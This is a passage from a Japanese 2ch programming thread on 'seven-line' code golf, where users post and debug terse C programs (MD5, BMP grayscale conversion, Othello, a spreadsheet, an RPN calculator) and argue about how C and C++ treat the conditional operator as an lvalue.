g]*j&15]+(j/g?j>31?y^(j&g?x|~z:x^z):x&z|y&~z:x&y|~x&z)+(unsigned)(fabs(sin(j+1.
))*(~0U+1.)),z="GLQVEINTDKPWFJOU"[j/g*4|j&3]&31,s[-j&3]=x+=y<<z|y>>32-z)x=s[3&-
j++],y=s[2-j&3],z=s[~j&3];for(;j--;E[j]+=s[j])X[j]=y=0;}}main(){for(q=E;y=j--;y
+=8,L(255&~x))L(x=--y*34+1);for(q=X;x=~getchar();B+=!(C+=8))L(~x);for(L(128);y-
56;)L(0);for(X[14]=C,X[15]=B,L(y=64);++j<g;printf("%02x",E[j/4]>>j%4*8&255));}
0192デフォルトの名無しさん
NGNG0193nana
NGNG0194デフォルトの名無しさん
NGNGエディアンに依存するのでは無いかと思ったり
fabs(sin(xxx))を毎回呼ぶと処理が重そうだなと思ったり…
と言う訳で頑張って挑戦してみました
七行プログラムは初めてなのでミスってたらスマソ
MD5 エディアン非依存 のハズ… */
double sin(),fabs();unsigned c,m=64,n,v,w,x,y,z,T[68],X[18];L(i){n||(w=*T+=w,x=
T[1]+=x,y=T[2]+=y,z=T[3]+=z);X[n/4]=X[n/4]>>8|i<<24;for(m=++n-64;m<64;n=m/16,v=
x,w+=T[m+4]+X["AECG"[n]*m+"PAEP"[n]&15]+(n?n-1?y^(n-2?x|~z:x^z):x&z|y&~z:x&y|~x
&z),c="GLQVEINTDKPWFJOU"[n*4|m++&3]&31,x+=w<<c|w>>32-c,w=z,z=y,y=v,n=0);}main()
{for(;m--;T[m/4]|=(m<8?1+34*m:526-34*m)<<m%4*8,T[m+4]=fabs(sin(m+1.))*(~0U+1.))
;for(;c=~getchar();L(~c),X[17]+=!(X[16]+=8));for(L(128);n-56;L(0));for(;n-32;L(
X[n/4+2]>>n%4*8&255),n<56&&n&1&&printf("%02x",T[n/8]>>n/2%4*8&255));puts("");}
0195194
NGNG>…がエディアンに依存するのでは
と書いてますけど、>>190のソースの半分位は理解出来なかったので
勘違いかもしれません。
と言う訳で、私の勘違いで気分を悪くされたら、ごめんなさいm(_ _)m
0196デフォルトの名無しさん
NGNG0197デフォルトの名無しさん
NGNGC Only で作ってみましたが、少し余裕があったので
コンパイル時の警告やエラーを避けて作りました
本当は読み込みの規準を甘くしようとも考えましたが
フォーマットに手を出すときりが無く七行では無理っぽいので…
(なら実行時エラーを何とかしろと言う話もありますが…)
24bit画像 to 8bitグレースケール */
#include <stdio.h>
unsigned char b[1078];int j=1024,l=1078,x,y;FILE*I,*O;void R(int i){fread(b,1,i
,I);}void W(int i){fwrite(b,1,i,O);}void E(int i,int v){for(j=4;j--;b[i+j]=v>>8
*j);}void D(int i){for(j=4;j--;y=y<<8|b[i+j]);}int main(int c,char*v[]){if(c==3
){I=fopen(v[1],"rb");O=fopen(v[2],"wb");for(;--j;b[j+53]=j&3?j/4:0);R(54);D(18)
;x=y;c=x+x*3%4;for(D(22),E(2,c*y+l),E(10,l),E(28,8),E(34,c*y),W(l);y--;R(x&3),E
(0,0),W(c-x))for(l=x;l--;R(3),*b=*b*.114+b[1]*.587+b[2]*.299,W(1));}return 0;}
0198197
NGNG怒るコンパイラもあるかもしれませんが
手持ちのコンパイラでは大丈夫でした
24bit画像 to 8bitグレースケール ※ sizeof(size_t)==sizeof(int) */
typedef void v;typedef int s;unsigned char b[1078];v*I,*O,*fopen(v*,v*);s x,y,j
=1024,l=1078,fread(v*,s,s,v*),fwrite(v*,s,s,v*),fclose(v*);v R(s i){fread(b,1,i
,I);}v W(s i){fwrite(b,1,i,O);}v E(s i,s w){for(j=4;j--;b[i+j]=w>>8*j);}v D(s i
){for(j=4;j--;y=y<<8|b[i+j]);}s main(s c,char*a[]){if(c==3){I=fopen(a[1],"rb");
for(O=fopen(a[2],"wb");--j;b[j+53]=j&3?j/4:0);R(54);D(18);x=y;c=x+x*3%4;D(22);E
(2,c*y+l);E(10,l);E(28,8);E(34,c*y);for(W(l);y--;R(x&3),E(0,0),W(c-x))for(l=x;l
--;R(3),*b=*b*.114+b[1]*.587+b[2]*.299,W(1));fclose(O);fclose(I);}return 0;}
0199デフォルトの名無しさん
NGNG0200デフォルトの名無しさん
NGNG多数の警告が出ると思いますが (これ以上はムリポ)
取り敢えずコンパイルは出来ると思います (と思いたい)
〜8bit画像 -> 〜8bitグレースケール (色数は減らない)
24bit画像 -> 8bitグレースケール */
unsigned char b[54];int d,k,l,p,r,s,x,y,z;void*I,*O,*fopen();R(i){fread(b,1,i,I
);}W(i){for(r+=2;--r;fwrite(b,1,i,O));}E(i,j){for(k=4;k--;b[i+k]=j>>8*k);}D(i){
for(k=4;k--;d=d<<8|b[i+k]);}main(i,v)char**v;{I=fopen(v[1],"rb");R(i=54);D(18);
O=fopen(v[2],"wb");x=d;D(22);y=d;D(28);l=d>8?8:d;E(28,l);i+=4<<l;E(10,i);l=x*l+
31>>5<<2;s=l*y;E(2,s+i);E(34,s);W(54);for(i=0;(d<9?p=s,l=2,x=1,y=1<<d,z=2,0:256
)>i;W(4))E(0,i++*65793);for(;y--;R(x&3),E(0,0),W(l-x))for(i=x;i--;R(3),*b=.114*
*b+.587*b[1]+.299*b[2],W(1))r=z;for(;p--;W(1))R(1);}
0201デフォルトの名無しさん
NGNGグレースケールは多分(バグが無ければ)これで最後です
基本的には>>200と同じですが、Offsetに対応しました
そのため、逆にOffsetが不正だと変な動作を… */
unsigned char b[54];int d,k,l,p,r,x,y,z;void*I,*O,*fopen();F(i){for(r+=2;--r;i<
0?fwrite(b,1,-i,O):fread(b,1,i,I));}C(i,j){for(k=4;k--;i<0?d=d<<8|b[k-i]:(b[i+k
]=j>>8*k));}main(i,v)char**v;{I=fopen(v[1],"rb");O=fopen(v[2],"wb");F(i=54);C(-
28,0);z=d;C(-22,0);y=d;C(-18,0);x=d;C(-10,0);C(28,l=z<9?z:8);d-=i+=4<<l;l=31+x*
l>>5<<2;C(34,p=y*l);C(2,p+i);C(10,i);F(-54);for(z<9?x=1,y=1<<z,l=z=2:(i=z=p=0,r
=d+1023,F(1));i>255==z;F(-4))C(0,i++*65793);for(;y--;F(x&3),C(0,0),F(x-l))for(i
=x;i--;*b=.114**b+.587*b[1]+.299*b[2],r=z,F(-1))F(3);for(r=d;p--;F(-1))F(1);}
0202デフォルトの名無しさん
NGNGパート1の初期のメンバーは熱かったな。
0203デフォルトの名無しさん
NGNG初期よりも、むしろ100以降だろ?
・・・と、主観が入りまくるので、この手の話は、や め な い か ?
今日見つけた7行プログラム?
http://game3.2ch.net/test/read.cgi/mmominor/1057397294/244
0204デフォルトの名無しさん
NGNG機能的には最悪だがサムだけはできる。
//0はなんでもよしという意味
//1 1 I 155 0 0 0 1行1列に155を代入
//4 5 A 1 4 6 5 4列5行に1列5行と6列5行の和を代入する。
//D 同じく割り算
//M 同じく引き算
//X 同じく掛け算
//4 5 S 1 2 0 5 4列5行に1列の2行から5行のサム
//0 0 s 8 4 0 9 8行の4列から9列を昇順ソートする
#include <stdio.h>
#include <memory.h>
void main(){short a,b,d,e,f,g,x=0,y=0,p[10][10],q;char c;memset(p,0,200);while(1)
{for(y=0;y<10;y++){for(x=0;x<10;)printf("%d\t",p[x++][y]);printf("\n");}
printf("指令を入力してください。");scanf("%d %d %c %d %d %d %d",
&a,&b,&c,&d,&e,&f,&g);switch(c){case 'E':return;case 'I':p[a][b]=d;break;case 'M':
p[a][b]=p[d][e]-p[f][g];break;case 'A':p[a][b]=p[d][e]+p[f][g];break;case 'X':
p[a][b]=p[d][e]*p[f][g];break;case 'D':p[a][b]=p[d][e]/p[f][g];break;case 'S':
p[a][b]=0;for(q=0;q<=g-e;q++)p[a][b]+=p[d][e+q];break;}}}
ごめんなさい9行です。
0205デフォルトでない名無しさん
NGNG#include <memory.h>
int a,b,c,d,e,f,g,x=0,y=0,p[10][10]={0},q;void main(){while(1){for(y=0;y<10;y++)
{for(x=0;x<10;)printf("%d\t\n",p[x++][y]);}printf("Command?");scanf("%d %d %c %"
"d %d %d %d",&a,&b,&c,&d,&e,&f,&g);p[a][b]=(c-65)?c-68?c-73?c-77?c-83?c-88?p[a][
b]:p[d][e]*p[f][g]:0:p[d][e]-p[f][g]:d:p[d][e]/p[f][g]:p[d][e]+p[f][g];switch(c)
{case 69:return;case 83:for(q=0;q<=g-e;q++)p[a][b]+=p[d][e+q];}}}
>>204のを七行に縮めてみる
0206デフォルトの名無しさん
NGNG0207デフォルトの名無しさん
NGNGint a,b,d,e,f,g,x,y,p[10][10]={0};char c=0;int main(){for(;c-69;scanf("%d %d %"
"c %d %d %d %d",&a,&b,&c,&d,&e,&f,&g)){if(c){if(c-83)e=p[d][e],g=p[f][g],p[a][b
]=c-65?c-68?c-73?c-77?c-88?p[a][b]:e*g:e-g:d:e/g:e+g;else for(p[a][b]=0;e<=g;)p
[a][b]+=p[d][e++];}for(y=-1;++y<10;puts(""))for(x=0;x<10;)printf("%d\t",p[x++][
y]);printf("指令を入力してください。");}return 0;}
0208デフォルトの名無しさん
NGNG/,. ノ i .,,E)
./ /" / /"
./ / _、_ / ノ'
_n / / ,_ノ` )/ / グッジョブ!! おまいら最高!
( l ( _、_ / _、_
\ \ヽ( <_,` ) |( ,_ノ` ) n
ヽ___ ̄ ̄ )  ̄ \ ( E)
/ / フ /ヽ ヽ_//
0209デフォルトの名無しさん
NGNG調べる余裕はないですが、もしそうなら>>207は6Byte短くなります。
また、
"%d %d %"(改行)"c %d %d %d %d" ではなくて、
"%d %d %\(改行)c %d %d %d %d" とすると、さらに1Byte減ります。
gccでは文句を言われるので判断は避けますが、return 0;は、void main()にすると短くなります。
途中で、c-=65;にして、条件式の2桁の数字群を1桁に落としてみると字数が減るかも。
学校に行くのでアイディアだけですみません。
0210デフォルトの名無しさん
NGNG> グローバル変数の初期値が0であるというのは
仕様。
0211デフォルトの名無しさん
NGNG0212デフォルトの名無しさん
NGNG0213デフォルトの名無しさん
NGNG0214デフォルトの名無しさん
NGNGコンソールから実行
※ SHA1→実行ファイル FILE→対象ファイル
SHA1 < FILE
バイナリファイルで正しい値が出ない時は
#include <stdio.h>
をソースの頭に加えて、矛盾する宣言等を手直しし、
main()の頭に
stdin=freopen("対象ファイル","rb",stdin);
を加えて何も指定せずに実行すれば正しい値がでるはず
0215山崎 渉
NGNG__∧_∧_
|( ^^ )| <寝るぽ(^^)
|\⌒⌒⌒\
\ |⌒⌒⌒~| 山崎渉
~ ̄ ̄ ̄ ̄
0217デフォルトの名無しさん
NGNGimport java.awt.*;import java.awt.event.*;public class MorphyOne{
public static void main(String[] arguments) {Canvas canvas = new
Canvas();canvas.setBackground(Color.black);canvas.setSize(640, 200);
final Frame frame = new Frame("MorphyOne Emulator");frame.addWindowListener
(new WindowAdapter() {public void windowClosing(WindowEvent e) {
frame.dispose();}});frame.add(canvas, BorderLayout.CENTER);
frame.pack();frame.show();}}
0218デフォルトの名無しさん
NGNG書いてないのを作品と認めない俺としてはかなり評価しています。がんばれ!
0219デフォルトの名無しさん
NGNG自分でも作ってみたいので、参考にさせてください。
0220デフォルトの名無しさん
NGNGオセロは過去に出た。ハズ。
0221デフォルトの名無しさん
NGNG七行スレ嫁
つーか、絶対、知ってて言ってるだろ?
つーか、この後に、もっと短くしたソース晒して
自慢したいだけだろ?
0223デフォルトの名無しさん
NGNGおまいの目は節穴だ
0224デフォルトの名無しさん
NGNG0225デフォルトの名無しさん
NGNGインタープリター系はそのままで。
頼むって。いや、マジで。
0226c_sugar
NGNG俺、そのうちやるかもしれない。
0227デフォルトの名無しさん
NGNGレスごとに、001.c 002.cpp 003.pl … の様にし、
ソース以外のレスを全てコメントで括ってやって
即コンパイル or 実行 出来るようにするなら分かるけど、
コンパイルした後のファイルなんて環境違ったら、意味無いし…
つーか、そう言うのは言い出しっぺがやるもんだ
0228デフォルトの名無しさん
NGNG#include <conio.h>
int main(){
puts("\n|゚∀゚)プッ\a")
getch();
reurn 0;
}
0229デフォルトの名無しさん
NGNGっていうか、オセロなんて7行で可能なの?
0230デフォルトの名無しさん
NGNGint*i,p,t,a,d,v,m[91]={-10,-9,-8,-1,1,8,9,10},s;void k(){if(m[p]==0)for(i=m;*i
;i++){for(v=p+*i;m[v]==9-t;v+=*i);if(v-p-*i&&m[v]==t&&(s=a=v=p,d))do m[v]=t,v
+=*i;while(m[v]-t);}}main(){for(m[40]=m[50]=s=t=3,m[41]=m[49]=6;s-1;a=d=0){for
(p=8;++p<82;printf("・\0○\0●\0\n"+m[p]))p%9?k():m[p]=9;for(a?d=a=p=9:s?s=0,
puts("pass"):s++;a==9;k())t-6?scanf("%d%d",&p,&v),p+=v*9:++p;t=9-t;}return 0;}
0231デフォルトの名無しさん
NGNGコンパイル通らないよ
0232デフォルトの名無しさん
NGNG環境は何?あと、エラーメッセージとか。
0233デフォルトの名無しさん
NGNG(p=8;++p<82;printf("・\0○\0●\0\n"+m[p]))p%9?k():m[p]=9;for(a?d=a=p=9:s?s=0,
の行のk()が原因。確認はしていないけれど、
(p=8;++p<82;printf("・\0○\0●\0\n"+m[p]))p%9?k(),0:m[p]=9;for(a?d=a=p=9:s?s=0,
にすればうまくいくのではないかな?
0234デフォルトの名無しさん
NGNGオセロもテトリスもあった。
テトリスはJavaScriptだったが。
>>225
7行コードだから良いわけで
0235デフォルトの名無しさん
NGNG今インデントを展開して読んでみているのだが、凄まじいな
0236231
NGNGエラーは「左辺値が必要」です。
0237デフォルトの名無しさん
NGNGhttp://homepage3.nifty.com/coco-nut/
フェチはこっち
http://homepage3.nifty.com/coco-nut/fe/ero.html
0238デフォルトの名無しさん
NGNG僕のはVC6、Win98で通るが、展開してみたが、怪しそうなのは同じ
3項演算の所だった。
>>236
どこの位置にエラーがあるのかがわかんないよ。
でも、>>233と同じ所なのかな。それなら、>>233の方法か、
p%9?k():m[p]=9; → if(p%9)k();else m[p]=9;
t-6?scanf("%d%d",&p,&v),p+=v*9:++p;
↓
if(t-6){scanf("%d%d",&p,&v);p+=v*9;}else ++p;
と直すとか。
0239デフォルトの名無しさん
NGNG0240デフォルトの名無しさん
NGNG見やすいように書き換えていくのがいい
0241デフォルトの名無しさん
NGNG0242デフォルトの名無しさん
NGNG条件演算子は、void型には適用出来ない
p%9?k():m[p]=9; /* 何かしらの値を必要とするが k() は void型 */
また、代入より、条件演算子の方が、優先順位が高い
p%9?k():m[p]=9; /* 9を p%9?k():m[p] には代入出来ない */
よって、↓のようにすればコンパイル出来る
p%9?k(),0:(m[p]=9);
が、どっちみち、まともに動かない気がするが…?
0243デフォルトの名無しさん
NGNGまともにうごいているように見えるけど?
0244デフォルトの名無しさん
NGNG昔ずいぶん頑張って解読してこのソースコードは大体読めるようになったので、まず下のソースで間違いないと思う。
#include <stdio.h>
int*i,p,t,a,d,v,m[91]={-10,-9,-8,-1,1,8,9,10},s;void k(){if(m[p]==0)for(i=m;*i
;i++){for(v=p+*i;m[v]==9-t;v+=*i);if(v-p-*i&&m[v]==t&&(s=a=v=p,d))do m[v]=t,v
+=*i;while(m[v]-t);}}main(){for(m[40]=m[50]=s=t=3,m[41]=m[49]=6;s-1;a=d=0){for
(p=8;++p<82;printf("・\0○\0●\0\n"+m[p]))p%9?k(),v:m[p]=9;for(a?d=a=p=9:s?s=0,
puts("pass"):s++;a==9;k())t-6?scanf("%d%d",&p,&v),p+=v*9:++p;t=9-t;}return 0;}
具体的には、
p%9?k():m[p]=9; → p%9?k(),v:m[p]=9;
それにしても美しいソースコードです。
0245デフォルトの名無しさん
NGNGだから、
a=1+b=c; /* c を ( 1+b ) に代入出来ない */
と同じで、左辺値が必要なんだって言ってるの、OK?
p%9?k(),v:m[p]=9; /* 9 を ( p%9?k(),v:m[p] ) に代入する事は出来ない */
ちゃんと、優先順位を考えませう ( ?: の方が = より優先される )
0246245
NGNG変数と単項*演算子、[]演算子、->演算子は常に左辺値を生じさせる
また、.演算子も通常、左辺値を生じさせが、その他演算子は左辺値を生じさせない
by 規格
で、?:演算子で左辺値を生じさせる(↓のような)ものは規格外の動作
#include <stdio.h>
int main()
{
int i=1,j=2,k=3;
k>2?i:j=4; /* 4 を ( k>2 が真なら i に 偽なら j に ) 代入 */
printf("%d, %d, %d\n",i,j,k);
return 0;
}
0247デフォルトの名無しさん
NGNGhttp://www.catnet.ne.jp/kouno/c_faq/c3.html#16
ところで、?:演算子で左辺値を生じさせるって、
C++でもダメでしたっけ?
0248デフォルトの名無しさん
NGNG0249デフォルトの名無しさん
NGNG規格が手元にないので間違ってるかもしれませんが…
g++はもちろん、bccでも左辺値は生じますので、左辺値は生ずるものと考えられます
ちなみに、CとC++では解釈が変わります
>>246の?:演算子を例にすると、Cでは、
((k>2)?(i):(j))=4;
と解釈されますが、C++だと
(k>2)?(i):(j=4);
と解釈されます (:以降の扱いが変わる)
C++では、?〜:の間の動作と:以降の動作を同じにしたのだと思われます
と言う訳で、C++で左辺値を生じさせるためには
(k>2?i:j)=4;
のようにすればOKです ( g++ 及び bcc では動作確認 )
ちなみに、bccは駄目ですが、gccではCのソースでも、?:演算子は左辺値を生じます
が、↑に書いた通り、解釈が変わるので、同じソース ( >>246 ) をコンパイルしても
gcc と g++ で結果が変わります
0250248
NGNG感動した!
0251デフォルトの名無しさん
NGNG(p=8;++p<82;k(),printf("・\0○\0●\0\n"+m[p]))p%9||(m[p]=9);for(a?d=a=p=9:s?s=0,
でどう?
int*i,p,t,a,d,v,m[90]={-10,-9,-8,-1,1,8,9,10},s;void k(){if(m[p]==0)for(i=m;*i
;i++){for(v=p+*i;m[v]==9-t;v+=*i);if(v-p-*i&&m[v]==t&&(s=a=p,d))do m[s]=t,s+=*
i;while(m[s]-t);}}main(){for(m[41]=m[49]=s=t=3,m[40]=m[50]=6;s-1;a=d=0){for(p=
9;p<82;k(),printf("・\0○\0●\0\n"+m[p++]))p%9||(m[p]=9);for(a?a=d=p=9:s?puts(
"pass"),s=0:s++;a==9;k())t-6?scanf("%d%d",&p,&v),p+=v*9:++p;t=9-t;}return 0;}
>>248
パート1は度肝を抜く作品の目白押しなので、一度ゆっくりと読んでみ。
0252デフォルトの名無しさん
NGNG実行してないから分からんが、そのコードは
p%9||(m[p]=9);k();
と等価になるけど、
p%9?k(),v:m[p]=9;
とは、k()の実行条件が明らかに異なるけど、大丈夫なの?
つーか、本当に、1度、ソースを解読したの?
0253デフォルトの名無しさん
NGNG理解できないなら、実行してしか判断できないのに、
実行せずに文句言ってはいかんな。
0254デフォルトの名無しさん
NGNG理解するも何も、そんなコード、
元のソースが無い限り、読む気にならんて
0255デフォルトの名無しさん
NGNG0256デフォルトの名無しさん
NGNG理解できないなら四の五の言わずに実行しろよ(w
0257デフォルトの名無しさん
NGNG自分が読めないからって(w
いや俺も読めないけど(w
0258デフォルトの名無しさん
NGNGindentでも通したらいいんでないのか
いや漏れも読んでないけど
0259245==252==254
NGNG>それにしても美しいソースコードです。
が、自我自賛にしか聞こえないから、
ソースを読む気にもならんし、実行する気にもなれんのよ…
まぁ、それでも、>>244の演算子の問題が無ければ、
素直にコンパイル&実行してた思うし、>>252の発言もしてないよ
つーか、問題無く本当に動くの?
0260デフォルトの名無しさん
NGNG妙竹林な理屈をたてて実行しないことが正当化のように装い
それだけならまだしも、実行もしていないソースコードを批判するなんて
なんというか陰鬱な性格だな。
言い訳と嫉妬の人生を>>259かいま見た。
0261259
NGNGだぁ、もうウゼェな…
読めば良いんだろ?読めば。
つーわけで、k()は
void k(){if(m[p]==0)…
で、m[p]が0でないと実効されない。よって、
p%9||(m[p]=9);k();
p%9?k(),v:m[p]=9;
の2つのコードは等価
つーか、演算子の優先順位も知らねーで、
解読しただの、美しいコードだの、アホじゃねーのか?
だいたい、オセロのソースくれって言ったの、お前じゃねーのか?
このスレにでるまえに、他のスレでやってたのも、お前じゃねーのか?
ただ単に、自我自賛したいだけの、自作自演じゃねーのか?
オナニーなら、オナニーらしく、勝手に独りでやってくれよ
0262デフォルトの名無しさん
NGNG| 強い電波を感知しました .|
|____________|
/ /
/
_ ビビビビビ
/||__|∧ /
。.|.(O´∀`) /
|≡( )) ))つ
`ー| | |
(__)_)
0263259
NGNGhttp://pc2.2ch.net/test/read.cgi/tech/1058283913/40-44
で、
http://pc2.2ch.net/test/read.cgi/tech/1058283913/49
で、コンパイル出来ないと言われたが、
この後の経過を見ずに、誰からも誉めてもらえなかったので
>>219から自賛自演を始めたと予測
つーか、もう寝る
0264デフォルトの名無しさん
NGNGオセロを作った人は、もうこのスレを見ていないと思う。
というより、part1-2 あたりの人は、ほとんどきていないだろう。
激しく攻撃されていたからね。
0265248
NGNG> パート1は度肝を抜く作品の目白押しなので、一度ゆっくりと読んでみ。
了解っす。こんな凄いのがゴロゴロあるのか。
それらを作った神達はどこへ行ったんだろう?まだこのスレにいるのかな?
0266デフォルトの名無しさん
NGNG0267デフォルトの名無しさん
NGNG>>4を見ればいいんじゃないかと
0268山崎 渉
NGNGHSP2.6です。
// ここから
t=10000:n="p.txt":z="2\n":title "0%":dim e,t+1:notesel z:notesave n
bsave n,z,3:a=3:s=3:repeat ,3:if a>t:break:if e.a=1{i=0}else{if(a!5)&(a\5=0){
i=0}else{i=1:b=cnt-2/4:if b<1{i=1}else{c=3:repeat b,3:if a\c=0 : i=0 : break
c+=2:loop}}}if i=1{h=a:str h:h+="\n":strlen l,h:bsave n,h,l,s:s+=l:d=a*3
if d<t{e.d=1}f=a*7:if f<t{e.f=1}g=a*11:if g<t{e.g=1}}r=a*100/t
if (p!r)&(r\10=0){title ""+r+"%"}p=r:a+=2:await:loop:title "100%":stop
// ここまで
1番最初にある変数tまでの素数を求め続けます。
10万までの素数を求めるのにpen3で約1分10秒かかりました。
元のソース
http://shobon.net/user/sword/prime.txt
実行ファイル
http://shobon.net/user/sword/prime7.zip
0270デフォルトの名無しさん
NGNGpart2 の 802-810 を見るとよいよ。
0271デフォルトの名無しさん
NGNG見ればわかるがC言語
#include<stdio.h>
#include<math.h>
void main(){int n,a=0,i,j;scanf("%d",&n);printf("%7d ",2);
for(i=3;i<=n;i+=2){for(j=3;j<=int(sqrt(i));j+=2)if(i%j==0){a=1;break;}
if(a==0){printf("%7d ",i);}else{a=0;}}}
100万までの素数を求めるのにセレロン1.2GHzで10秒くらいかな?
もっと短く、もっと速くできそうだけど短すぎるんで七行プログラミングにはどうかと・・・
0272デフォルトの名無しさん
NGNGpart2 の 802-810 を見るとよいよ。
0273デフォルトの名無しさん
NGNGもちろん、見ました
でも、短くするためとはいえ非効率かと
0274デフォルトの名無しさん
NGNG0275デフォルトの名無しさん
NGNGだよね。
0276デフォルトの名無しさん
NGNG簡単に7行以下になる題材だと…
まぁ、本人にとってはいろんな意味で勉強になるだろうが。
0277デフォルトの名無しさん
NGNGこころが安まる…
0278デフォルトの名無しさん
NGNG> 7行テトリスがぱくられていました
> http://www.tamagawa.ac.jp/GAKUBU/KOUGAKU/InfCEng/festa2002/
> http://www.tamagawa.ac.jp/GAKUBU/KOUGAKU/InfCEng/festa2002/sakuhin.html
0279デフォルトの名無しさん
NGNG見てきたよ
うは、完全にコピペじゃん。
彼が、S◆Q14CxNhI 氏ならいいんだけどね
0280デフォルトの名無しさん
NGNG0281デフォルトの名無しさん
NGNG> うは、完全にコピペじゃん。
> 彼が、S◆Q14CxNhI 氏ならいいんだけどね
Sタンは
http://www.isl.cs.gunma-u.ac.jp/~shingo/make/7line/7line.html
G馬大の人なので別人だぁね。
0282デフォルトの名無しさん
NGNG優秀な作品作る人はもう来なくなるだろうね
0283デフォルトの名無しさん
NGNGうれしいです。
7行でできることって限界がありますよね。
Windowsプログラムってしばらく出てませんよね。
0284デフォルトの名無しさん
NGNGそれとsageてね
0286デフォルトの名無しさん
NGNG俺は大学出だからな!
高卒死ね!
とか言ったりするんだろうな・・・
0287デフォルトの名無しさん
NGNG0288デフォルトの名無しさん
NGNGttp://www.gsic.titech.ac.jp/supercon/supercon2003/yosen.html
の回答を7行で作ってみた。
#include <stdio.h>
int m[10000],p,t,P,L,T,j,N=100;S(p,l,i){++l>L?P=p,L=l,T=t:0;for(;m[p]=i--;)j=(i
&1?N:1)*(i&2?1:-1)+p,(i&1?p/N:p%N)-(i&2?99:0)&&m[j]==t?S(j,l,3):0;m[p]=t;}main(
int A,char**B){FILE*f;if(A<2?puts("No argument.")*0:(f=fopen(B[1],"r"))||0*puts
("I/O error.")){for(;(t=getc(f))+1;t-10&&p<N*N?m[p++]=t:0);if(p-N*N)puts("Stra\
nge data.");else{for(;p--;)t=m[p],S(p,0,3);printf("x=%d,y=%d,t=%c,l=%d\n",P%N,P
/N,T,L);}}return 0;}
VC++6.0では警告も出ません。
実行速度については触れないで下さい(汗
0289デフォルトでない名無しさん
NGNGパズル N Queen
#include <stdio.h>
int q=5,b[16][16],n,i,j,k,l,m,o;void main(c,v)char**v;{for(n=0;;q++){for(i=0;i<q
;i++)for(j=0;j<q;j++)b[j][i]=0;while(q!=n){for(i=0;i<q;puts(""),i++)for(j=0;j<q;
printf(b[j][i]?"Q":"*"),j++);scanf("%d %d",&k,&l);b[k][l]=1;n++;puts("\n");for(i
=0;i<q;i++){for(j=0;j<q;j++){if(i!=l||j!=k){m=b[j][i]&1;o=n;n-=(i==l)&m?m:0;n-=(
j==k)&m?m:0;n-=(i-l==j-k)&m?m:0;b[j][i]-=!(o==n);}}}}puts("clear\n");}return;}
x yで座標指定。
・・・って六行になってしまった(;´Д`)
0290デフォルトの名無しさん
NGNG0291デフォルトの名無しさん
NGNG0292デフォルトの名無しさん
NGNG逆じゃね?N-Queenつったら8-Queenをかねる。
0293デフォルトの名無しさん
NGNG0294デフォルトの名無しさん
NGNGp (a=(2..100).to_a).each{|i|a.reject!{|j|j%i==0&&j>i}}
54バイト
perlならもっと短くできるかna.
0295デフォルトの名無しさん
NGNG0296山崎 渉
NGNG│ ^ ^ │<これからも僕を応援して下さいね(^^)。
⊂| |つ
(_)(_) 山崎パン
0297デフォルトの名無しさん
NGNG0298デフォルトの名無しさん
NGNG0299デフォルトの名無しさん
NGNG0300デフォルトの名無しさん
NGNG0301デフォルトの名無しさん
NGNG0302デフォルトの名無しさん
NGNG0303デフォルトの名無しさん
NGNG0304abc
NGNGおかねもうけ情報見つけました
http://pocket.muvc.net/job/index.html
0305デフォルトの名無しさん
NGNG0306デフォルトの名無しさん
NGNG変数機能付き逆ポーランド記法電卓
#include <stdio.h>
int s[100],v[255],*t,j=0,l,k=0,c,m,o;void f(char *p){l=*t;c=*p;if(c=='+'){t--;
*t+=l;}if(c=='-'){t--;*t-=l;}if(c=='*'){t--;*t*=l;}if(c=='/'){t--;*t/=l;}if(c==
'^'){t--;for(m=1,o=*t;m<l;m++)*t*=o;}if(c==' '||c=='\0')if(k){t++;*t=j;j=0;k=0;
}if(c=='\0')return;if(c>='0'&&c<='9'){j=j*10+c-'0';k=1;}if(c>='a'&&c<='z'){j=
v[c];k=1;}f(p+1);}int main(){char n[1000];for(;;){t=s+1;gets(n);if(n[0]=='.')
break;if(n[1]=='='){f(n+2);v[n[0]]=*t;}else{f(n);printf("%d\n",*t);}}return 0;}
*"c=a 10 * b +"のように代入文が使えます。
*普通に"10 a +"のように入力すると計算結果を表示します。"a"とだけ入力するとaの中身を表示します
*変数はa-zまでが使えます
*使える演算子は+,-,*,/,^(べき乗)です
0307306
NGNGint s[100],v[255],*t,j=0,l,k=0,c,m,o;void f(char *p){l=*t;c=*p;if(c=='+')*--t+=l;
if(c=='-')*--t-=l;if(c=='*')*--t*=l;if(c=='/')*--t/=l;if(c=='%')*--t%=l;if(c==
'^'){t--;for(m=1,o=*t;m<l;m++)*t*=o;}if(c==' '||c==0)if(k){*++t=j;j=k=0;}if(c==
0)return;if(c>='0'&&c<='9'){j=j*10+c-'0';k=1;}if(c>='a'&&c<='z'){j=v[c];k=1;}
f(p+1);}int main(){char n[1000];for(;;){t=s+1;gets(n);if(n[0]=='.')break;if(n[1]
=='='){f(n+2);v[n[0]]=*t;}else{f(n);printf("%d\n",*t);}}return 0;}
少し短縮して剰余演算子(%)を使えるようにした
0308デフォルトの名無しさん
NGNG0309デフォルトの名無しさん
NGNG>306 >307とは別人だけど、==の消し方がわかりません。
そのほかのところをあちこち削ったら5行くらいにはなったけど、==がどうしても気になって。
だいぶ変形しないと==を消すのって難しい気がしました。
んで、いい方法あったら教えてください。
俺としては'+'とかを数字にして欲しかったな。
0310306
NGNG#include <stdio.h>
int s[99],v[255],*t=s,j=0,k,l,c,o;char n[99],*p;void f(){c=*p;c==32|!c?k?*++t=j,
j=k=0:o:c-=41;if(c){l=*t;c==2?*--t+=l:c==4?*--t-=l:c==1?*--t*=l:c==6?*--t/=l:c==
-4?*--t%=l:c>6&c<17?j=j*10+c-7,k=1:c>55?j=v[*p],k=1:--l;if(c==53)for(o=*--t;l;--
l)*t*=o;p++;f();}}int main(){while(*(p=gets(n))){if(n[1]-61)f();else p+=2,f(),v[
*n]=*t;printf("%d\n",*t);}return 0;}
==の効率的な減らし方が分からない……
無理矢理消そうとすると余計に長くなる気がする
0311デフォルトの名無しさん
NGNG0312309
NGNG#include <stdio.h>
int s[99],v[255],*t=s,j,k,l,o;char*p,c,n[999];f(){c=*p;c-32&c?c-=41:k?*++t=j,j=
k=0:o;if(c){l=*t;c==2?*--t+=l:c==4?*--t-=l:c==1?*--t*=l:c==6?*--t/=l:c==-4?*--t
%=l:c>6&c<17?j=j*10+c-7,k=1:c>55?j=v[*p],k=1:--l;if(c==53)for(o=*--t;l--;)*t*=o
;f(++p);}}main(){while(*(p=gets(n)))n[1]==61?f(p+=2),v[*n]=*t:f(),printf("%d\n"
,*t);return 0;}
三項演算子の優先順位の関係で、この状態から==を減らすのは俺にはできない。。
0313デフォルトの名無しさん
NGNGカラーテトリスなんて、大分前からあるだろうに。
